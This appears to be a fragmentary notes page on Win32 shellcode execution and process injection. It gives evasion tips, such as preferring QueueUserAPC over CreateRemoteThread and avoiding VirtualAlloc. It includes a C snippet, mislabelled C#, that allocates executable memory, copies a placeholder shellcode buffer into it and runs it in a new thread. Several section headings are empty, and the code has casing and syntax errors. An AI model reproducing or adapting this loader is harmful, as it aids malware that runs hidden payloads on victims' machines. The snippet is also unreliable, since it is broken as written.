Win32 API
Use QueueUserApc instead of CreateRemoteThread
try avoid:
VirtualAlloc:
C#:
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
LPVOID lpvAddr;
HANDLE hHand;
DWORD dwWaitResult;
DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";
lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}Python:
HeapCreate/ HeapAlloc:
Python:
ProcessInjection/ VirtualAllocEx:
Python:
QUserAPC? - Execute code that you inject into remote process - way more used that CreateRemotethread
Ordinal Values:
API Call
Windows 7
Windows 10
Windows 11
Last updated